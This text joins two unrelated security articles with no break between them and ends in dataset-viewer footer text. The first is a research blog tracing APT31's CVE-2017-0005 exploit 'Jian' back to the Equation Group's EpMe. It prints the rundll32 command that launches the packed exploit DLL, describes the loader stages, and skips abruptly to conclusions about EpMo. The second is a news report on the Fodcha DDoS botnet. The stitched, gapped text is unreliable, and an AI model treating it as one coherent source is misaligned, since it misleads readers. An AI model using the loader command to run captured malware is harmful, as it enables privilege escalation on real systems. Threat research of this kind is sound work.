In this blog, we show that CVE-2017-0005, a Windows Local-Privilege-Escalation (LPE) vulnerability that was attributed to a Chinese APT, was replicated based on an Equation Group exploit for the same vulnerability that the APT was able to access. “EpMe,” the Equation Group exploit for CVE-2017-0005, is one of four different LPE exploits included in the DanderSpritz attack framework. EpMe dates back to at least 2013 – four years before APT31 was caught exploiting this vulnerability in the wild.
This isn’t the first documented case of a Chinese APT repurposing an Equation Group exploit. In the Bemstour case, discussed by both Symantec and our own research team, the main assumption was that APT3 (Buckeye) sniffed the EternalRomance exploit from network traffic and later upgraded it to the equivalent of EternalSynergy using an additional APT3 vulnerability. In the present case, however, we have strong evidence that APT31 had access to the actual exploit files of the Equation Group, in both their 32-bit and 64-bit versions.
In the following sections, we introduce the four different Windows LPE exploits included in the DanderSpritz framework and reveal an additional exploit code-named “EpMo.” This exploit was patched in May 2017, probably as part of the follow-up fixes for the Shadow Brokers “Lost in Translation” leak of Equation Group tools. While the vulnerability was fixed, we failed to identify the associated CVE-ID. To our knowledge, this is the first public mention of the existence of this additional Equation Group vulnerability.
## Background
As part of our ongoing research on Windows LPE exploits and tracking exploit authors, we started analyzing exploits attributed to Chinese APTs. As CVE-2019-0803 was recently mentioned in the NSA list of top 25 vulnerabilities used by Chinese actors, we decided this was a good place to start. After we finished documenting all the information we gathered on this unique exploit, originally a 0-Day attributed to Chinese actors, we went on to the next Chinese-attributed exploit in our list: CVE-2017-0005.
In our review of Microsoft’s report on the vulnerability that was caught exploited in the wild and was attributed to Zirconium (APT31), we found a few interesting details:
- The exploit was caught and reported to Microsoft by Lockheed Martin’s Computer Incident Response Team.
- The exploit uses a multi-staged packer, which appears identical to the one we saw used by CVE-2019-0803.
Armed with these two leads, and already familiar with the packer used by these exploits, we set out to find the described exploit of CVE-2017-0005.
After we obtained a 64-bit sample of the CVE-2017-0005 exploit, we verified it against the information described by Microsoft in their blog. Not only did it match, when ignoring the random page allocation, both samples use the same addresses (same lower three nibbles).
## Comparing CVE-2017-0005 and CVE-2019-0803
In the following section, we describe in detail some of the characteristics of the packer and the loader used in CVE-2017-0005 and CVE-2019-0803, and highlight their commonalities and differences.
Jian, the exploit of CVE-2017-0005, was shipped in a DLL named `Add.dll`. It contained an interesting PDB path suggesting that it was written in 2015 under a project named “rundll32_getadmin”.
```
F:\code\2015\rundll32_getadmin\Add\x64\Release\Add.pdb
```
When we checked the Time Date Stamp of the binary in the file header, we saw that the DLL was compiled on `Wed May 06 02:08:24 2015`, which fits nicely with the folder name from the PDB. An additional timestamp on the export directory points to the exact same date.
Speaking of the export directory, the DLL has a single exported function named “AddByGod,” which, as we will learn soon, is the entry function of the packer.
The decryption routine is very straightforward. The packer starts by allocating memory for the encrypted code and copies it to the newly allocated buffer. It then allocates a buffer with `PAGE_EXECUTE_READWRITE` protection to store the decrypted code. After the buffers are allocated, the packer checks if a string argument, which will be used as a decryption key, was passed to the `AddByGod` function. Next, the packer uses the AES256 algorithm with a SHA1 derived key of the passed argument to decrypt the encrypted code. If the decryption is successful, the decrypted code is executed and a second stage payload runs. Luckily, we managed to obtain the password that was needed to execute the binary and decrypt the encrypted payload.
```
rundll32.exe Add.dll AddByGod [password]
```
The second stage begins with a typical shellcode technique, searching the module’s header for the address of `kernel32.dll` and dynamically retrieving a pointer to the `GetProcAddress` export function. Next, the program decompresses another Portable Executable (PE) and jumps to its entry point. The decompressed PE, which is the third stage in the loading sequence, has intentionally corrupted headers. It does basic loading operations and then begins with a reflective loading of an embedded executable (yes, another one). The loaded PE is the last stage in the loading sequence and is responsible for executing the exploit.
It’s interesting to mention that the compilation time of the embedded binary — the exploit itself — goes back to October 2014. This suggests that the attackers used this 0-day in 2014, almost three years before it became publicly available in the Shadow Brokers leak and was fixed by Microsoft.
## The Patch
Microsoft fixed this vulnerability in May 2017, one month after the Shadow Brokers’ Lost in Translation leak. However, we failed to find a CVE-ID that refers to this fix. The patch itself addresses the exact flaw in the vulnerable function `win32k!PDEVOBJ::bMakeSurface()`. It adds a sanity check after the handler is fetched from the struct, and before it is invoked by the function. If the entry is NULL, the function aborts.
To conclude, the `EpMo` Equation Group exploit is a NULL-Deref in GDI’s UMPD module, and is therefore not an exploit for CVE-2017-0005. It was patched by Microsoft in May 2017, and we couldn’t find a clear CVE-ID associated with it.
Now that we better understand the framework’s API, and have a better understanding of the UMPD module, it is time to focus on the next exploit – `EpMe`.
## Exploit Attribution – Who was the original developer?
Together with additional artifacts that match Equation Group artifacts and habits shared between all exploits even as far back as 2008, we can safely conclude the following:
- Equation Group’s EpMe exploit, existing since at least 2013, is the original exploit for the vulnerability later labeled CVE-2017-0005.
- Somewhere around 2014, APT31 managed to capture both the 32-bit and 64-bit samples of the EpMe Equation Group exploit.
- They replicated them to construct “Jian,” and used this new version of the exploit alongside their unique multi-staged packer.
- Jian was caught by Lockheed Martin’s IRT and reported to Microsoft, which patched the vulnerability in March 2017 and labeled it CVE-2017-0005.
## Timeline
Below is a timeline of the events surrounding both exploit versions of what began as EpMe (Equation Group) and was eventually patched by Microsoft as CVE-2017-0005.
- 2008/2009 – Early Equation Group exploit tools: PrivLib / Houston Disk.
- 2013 – DanderSpritz NtElevation exploits: ElEi, ErNi, EpMo, EpMe.
- October 27, 2014 – Early timestamp from the embedded PE – cloned EpMe.
- May 6, 2015 – Multiple indicators that the complete APT31 tool was compiled in 2015.
- August 13, 2016 – Initial Shadow Brokers publication.
- January 8, 2017 – Shadow Brokers leak a directory structure of their files, clearly indicating the possession of DanderSpritz and Eternal* exploits.
- February 14, 2017 – Patch Tuesday is cancelled, merged with March’s fixes.
- March 14, 2017 – Patch Tuesday – Fixed CVE-2017-0005 and 1st round of critical Equation Group exploits included in the to be published “Lost in Translation” SB leak.
- March 27, 2017 – Microsoft publishes the blog on CVE-2017-0005 that was reported by Lockheed Martin, and attributed it to a Chinese APT (Zirconium / APT31).
- April 14, 2017 – Lost in Translation leak is published.
- May 9, 2017 – Patch Tuesday: Second round of Equation Group patches includes a silent fix for the EpMo Equation Group exploit.
## Summary
We began with analyzing “Jian,” the Chinese (APT31 / Zirconium) exploit for CVE-2017-0005, which was reported by Lockheed Martin’s Computer Incident Response Team. To our surprise, we found out that this APT31 exploit is in fact a reconstructed version of an Equation Group exploit called “EpMe.” This means that an Equation Group exploit was eventually used by a Chinese-affiliated group, probably against American targets.
This isn’t the first documented case of a Chinese APT using an Equation Group 0-Day. The first was when APT3 used their own version of EternalSynergy (called UPSynergy), after acquiring the Equation Group EternalRomance exploit. However, in the UPSynergy case, the consensus among our group of security researchers as well as in Symantec was that the Chinese exploit was reconstructed from captured network traffic.
The case of EpMe / Jian is different, as we clearly showed that Jian was constructed from the actual 32-bit and 64-bit versions of the Equation Group exploit. This means that in this scenario, the Chinese APT acquired the exploit samples themselves, in all of their supported versions. Having dated APT31’s samples to three years prior to the Shadow Broker’s “Lost in Translation” leak, our estimate is that these Equation Group exploit samples could have been acquired by the Chinese APT in one of these ways:
- Captured during an Equation Group network operation on a Chinese target.
- Captured during an Equation Group operation on a third-party network which was also monitored by the Chinese APT.
- Captured by the Chinese APT during an attack on Equation Group infrastructure. |
# Fodcha DDoS Botnet Reaches 1Tbps in Power, Injects Ransoms in Packets
A new version of the Fodcha DDoS botnet has emerged, featuring ransom demands injected into packets and new features to evade detection of its infrastructure. 360Netlab researchers discovered Fodcha in April 2022, and since then, it has been silently receiving development and upgrades, steadily improving and becoming a more potent threat. According to a new report published by the same researchers, the latest Fodcha version 4 has grown to an unprecedented scale, with its developers taking measures to prevent analysis after Netlab's last report.
The most notable improvement in this botnet version is the delivery of ransom demands directly within DDoS packets used against victims' networks. In addition, the botnet now uses encryption to establish communication with the C2 server, making it harder for security researchers to analyze the malware and potentially take down its infrastructure.
## More DDoS Power
As a DDoS operation, Fodcha had grown significantly since April, when it targeted an average of 100 victims daily. The average number of targets has increased by ten times, reaching 1,000 daily. The botnet now relies on 42 C2 domains to operate 60,000 active bot nodes daily, generating up to 1Tbps of destructive traffic.
According to Netlab, Fodcha reached a new peak on October 11, 2022, attacking 1,396 targets in a single day.
Some notable examples of confirmed attacks of Fodcha include:
- A DDoS attack against a healthcare organization on June 7 and 8, 2022.
- A DDoS attack against the communication infrastructure of a company in September 2022.
- A 1Tbps DDoS attack against a well-known cloud service provider on September 21, 2022.
Most of Fodcha’s targets are located in China and the United States, but the botnet’s reach is already global, having infected systems in Europe, Australia, Japan, Russia, Brazil, and Canada.
## Embedding Ransom Demands
Netlab's analysts believe Fodcha is making money by renting its firepower to other threat actors who wish to launch DDoS attacks. However, the latest version also includes extortion by demanding a Monero ransom to stop the attacks. Based on DDoS packets deciphered by Netlab, Fodcha now demands the payment of 10 XMR (Monero) from victims, worth approximately $1,500. These demands are embedded in the 'Data' portion of the botnet's DDoS packets and warn that the attacks will continue unless a payment is made.
However, as Monero is a privacy coin, it is much harder to trace. Therefore, it is not offered for sale by almost all US crypto exchanges due to the legal requirements to prevent money laundering or other illicit activity. Therefore, while ransomware gangs and other threat actors commonly request XMR as a payment option, almost all companies choose to pay in bitcoin, which will likely be a similar situation with DDoS attacks. |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.